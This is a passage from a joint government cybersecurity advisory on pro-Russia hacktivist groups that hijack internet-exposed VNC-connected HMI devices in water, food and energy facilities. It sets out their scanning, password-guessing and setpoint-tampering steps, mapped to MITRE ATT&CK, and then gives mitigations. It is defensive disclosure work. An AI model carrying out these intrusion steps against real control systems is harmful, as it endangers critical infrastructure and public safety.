<p>Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host <code>DDoSia</code> and share materials and TTPs with their followers. </p>
<p>In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.</p>
<h3><strong>Z-Pentest</strong></h3>
<p>Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.</p>
<p>Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.</p>
<h3><strong>Sector16</strong></h3>
<p>Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.</p>
<p>Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the MITRE ATT&amp;CK<sup>®</sup> <a href="https://attack.mitre.org/versions/v18/matrices/enterprise/" title="Matrix for Enterprise framework" data-entity-type="external">Matrix for Enterprise framework</a>, version 18. See the <a href="https://www.cisa.gov/#MITRE" title="MITRE ATT&amp;CK Tactics and Techniques"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>TTP Overview</strong></h3>
<p>Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.</p>
<p>Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.</p>
<p>Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Sector">Water and Wastewater</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector" data-entity-type="external">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a> Sectors.</p>
<p>Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:</p>
<ul>
<li>Scan for vulnerable devices on the internet [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>] with open VNC ports [<a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a>].</li>
<li>Initiate temporary virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a>] to execute password brute force software.</li>
<li>Use VNC software to access hosts [<a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a>].</li>
<li>Confirm connection to the vulnerable device [<a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a>].</li>
<li>Brute force the password, if required [<a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a>].</li>
<li>Gain access to HMI devices [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>], typically with default [<a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a>], weak, or no passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a>].</li>
<li>Log the confirmed vulnerable device IP address, port, and password.</li>
<li>Using the HMI graphical interface [<a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a>], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [<a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a>]:
<ul>
<li>Modify usernames/passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify parameters [<a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a>];</li>
<li>Modify device name [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify instrument settings [<a href="https://attack.mitre.org/versions/v18/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a>];</li>
<li>Disable alarms [<a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a>];</li>
<li>Create loss of view (a technique that mandates local hands-on operator intervention) [<a href="https://attack.mitre.org/versions/v18/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a>]; and/or</li>
<li>Device restart or shutdown [<a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a>].</li>
</ul>
</li>
<li>Disconnect from the device, ending the VNC connection.</li>
<li>Research the compromised device company after the intrusion [<a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a>].</li>
</ul>
<h4><strong>Propagation</strong></h4>
<p>To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.</p>
<h4><strong>Reconnaissance and Initial Access</strong></h4>
<p>The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as <code>Nmap</code> or <code>OPENVAS</code>, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port <code>5900</code> or other nearby ports (<code>5901-5910</code>). Their goal is to gain remote access to HMI devices connected to live control networks.</p>
<p>Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.</p>
<h4><strong>Impact</strong></h4>
<p>While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.</p>
<p>Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.</p>
<h2><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to <a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a> for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<p><a class="ck-anchor"></a></p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 1. Reconnaissance</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Gather Victim Organization Information</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a></td>
<td>Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a></td>
<td>Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 2. Resource Development</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Server</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a></td>
<td>Threat actors use virtual infrastructure to obfuscate identifiers.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 3. Initial Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a></td>
<td>Threat actors gain access through less secure HMI devices exposed to the internet.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 4. Persistence</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Valid Accounts</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a></td>
<td>Threat actors use password guessing tools to access legitimate accounts on the HMI devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 5. Credential Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Brute Force: Password Spraying</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a></td>
<td>Threat actors use tools to rapidly guess common or simple passwords.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 6. Lateral Movement</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Default Credentials</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a></td>
<td>Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.</td>
</tr>
<tr>
<td>Remote Services</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a></td>
<td>Threat actors leverage VNC services to access system HMI devices.</td>
</tr>
<tr>
<td>Remote Services: VNC</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a></td>
<td>Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 7. Execution</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Graphical User Interface</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a></td>
<td>Threat actors interact with HMI devices via GUIs, attempting to modify control devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 8. Inhibit Response Function</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Device Restart/Shutdown</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a></td>
<td>While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.</td>
</tr>
<tr>
<td>Alarm Suppression</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a></td>
<td>Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.</td>
</tr>
<tr>
<td>Change Credential</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a></td>
<td>Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 9. Impair Process Control</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify Parameter</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a></td>
<td>Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.</td>
</tr>
<tr>
<td>Unauthorized Command Message</td>
<td><a href="https://attack.mitre.org/techniques/T0855/" target="_blank" title="T0855" data-entity-type="external">T0855</a></td>
<td>Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 10. Impact</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><a class="ck-anchor"><strong>Technique Title</strong></a></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Loss of Productivity and Revenue</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a></td>
<td>Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.</td>
</tr>
<tr>
<td>Loss of View</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a></td>
<td>Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. </td>
</tr>
<tr>
<td>Manipulation of Control</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a></td>
<td>Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  </td>
</tr>
</tbody>
</table>
<h2><strong>Incident Response</strong></h2>
<p>If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:</p>
<ol>
<li><strong>Determine which hosts were compromised and isolate them</strong> by quarantining or taking them offline.</li>
<li><strong>Initiate threat hunting activities to scope the intrusion</strong>. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.</li>
<li><strong>Reimage compromised hosts</strong>.</li>
<li><strong>Provision new account credentials</strong>.</li>
<li><strong>Report the compromise to CISA, FBI, and/or NSA</strong>. See the <a href="https://www.cisa.gov/#Contact" title="Contact Information"><strong>Contact Information</strong></a> section of this advisory.</li>
<li><strong>Harden the network to prevent additional malicious activity</strong>. See the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations "><strong>Mitigations </strong></a>section of this advisory for guidance.</li>
</ol>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<h3><strong>OT Asset Owners and Operators</strong></h3>
<p>The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<ul>
<li><strong>Reduce exposure of OT assets to the public-facing internet.</strong> When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>].
<ul>
<li><strong>Asset owners should use attack surface management services </strong>and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.<br><strong>Note:</strong> For more information on attack surface management, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/exposure-reduction" title="Internet Exposure Reduction Guidance">Internet Exposure Reduction Guidance</a>, CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> for U.S. critical infrastructure, and NSA’s <a href="https://www.nsa.gov/Portals/75/documents/resources/everyone/Attack%20Surface%20Management%20copy.pdf" target="_blank" title="Attack Surface Management" data-entity-type="external">Attack Surface Management</a> for the U.S. Defense Industrial Base.</li>
<li><strong>Implement network segmentation between IT and OT networks.</strong> Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementLogicalPhysicalNetworkSegmentation3I" title="CPG 3.I">CPG 3.I</a>].</li>
<li><strong>Consider implementing a firewall and/or virtual private network</strong> if exposure to the internet is necessary for controlling access to devices.
<ul>
<li>Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.</li>
<li>Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.</li>
<li>Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.</li>
<li>Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Adopt mature asset management processes</strong>, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ManageOrganizationalAssets2A" title="CPG 2.A">CPG 2.A</a>].
<ul>
<li><strong>Keep remote access services updated </strong>with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
<ul>
<li>Keep VNC systems updated with the latest version available.</li>
</ul>
</li>
<li><strong>Refer to the joint </strong><a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators"><strong>Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</strong></a> to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.</li>
</ul>
</li>
<li><strong>Ensure OT assets use robust authentication procedures.</strong>
<ul>
<li>Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.</li>
<li>Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ChangingDefaultPasswords3A" title="CPG 3.A">CPG 3.A</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B" title="CPG 3.B">CPG 3.B</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C" title="CPG 3.C">CPG 3.C</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>].</li>
<li>Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MonitorUnsuccessfulAutomatedLoginAttempts3E" title="CPG 3.E">CPG 3.E</a>].</li>
<li>Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ProhibitConnectionofUnauthorizedDevices3R" title="CPG 3.R">CPG 3.R</a>].</li>
<li>Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.</li>
</ul>
</li>
<li><strong>Enable control system security features </strong>that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#AdministratorsMaintainSeparateUserandPrivilegedAccounts3G" title="CPG 3.G">CPG 3.G</a>].</li>
<li><strong>Implement and practice business recovery/disaster recovery plans.</strong> Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
<ul>
<li>Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IncidentPlanningandPreparedness6A" title="CPG 6.A">CPG 6.A</a>].</li>
<li>Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainSystemBackupsRestorationAbility3O" title="CPG 3.O">CPG 3.O</a>].</li>
</ul>
</li>
<li><strong>Collect and monitor the traffic of OT assets and networking devices.</strong> This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.</li>
<li><strong>Review configurations for setpoint ranges or tag values </strong>to stay within safe ranges and establish alerting for deviations.</li>
<li><strong>Take a proactive approach in the procurement process</strong> by following the guidance outlined in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
</ul>
<h3>OT Device Manufacturers</h3>
<p>Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a>.</p>
<ul>
<li><strong>Eliminate default credentials and require strong passwords.</strong> The use of default credentials is a top weakness threat actors exploit to gain access to systems.</li>
<li><strong>Mandate MFA for privileged users.</strong> Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.</li>
<li><strong>Practice secure by default principles. </strong>OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
<ul>
<li><strong>Include logging at no additional charge.</strong> Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.</li>
</ul>
</li>
<li><strong>Publish Software Bill of Materials (SBOMs).</strong> Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s <a href="https://www.cisa.gov/sbom" title="Software Bill of Materials">SBOM webpage</a> for more information.</li>
</ul>
<p>Additionally, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="Secure by Design Alert">Secure by Design Alert</a> on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&amp;CK techniques described in this advisory.</p>
<p>To start:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to<strong> </strong><a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
